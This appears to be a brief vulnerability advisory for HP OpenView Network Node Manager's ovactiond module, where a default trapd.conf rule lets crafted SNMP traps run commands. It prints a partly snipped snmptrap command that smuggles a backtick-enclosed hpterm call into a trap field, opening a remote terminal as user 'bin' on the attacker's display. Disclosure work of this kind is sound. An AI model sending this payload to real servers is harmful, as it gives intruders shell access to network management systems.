Description:
A vulnerability has been reported in HP's OpenView Network Node Manager with the "ovactiond" module. The vulnerability in the module allows a remote user to obtain "bin" user-level access to the network management server.

In the trapd.conf file, the following configuration is reportedly defined by default in NMM 6.1:
#
EVENT

$10 1.3.[snip...]
#
If a remote user sends the following trap, the remote user can reportedly obtain remote terminal access with "bin" user privileges:
snmptrap -v 1 <NNM host> .1.3.6.1.4.1.11.2.17.1
1.2.3.4 6 60000208 0 1 s "" 2 s "" 3
s "\`/usr/bin/X11/hpterm -display <your client
display>\`" 4 s "" [snip...] 12 s ""
|
Impact:
A remote user can execute arbitrary commands on the server with the "bin" user-level privileges and can obtain shell access to the network management server.
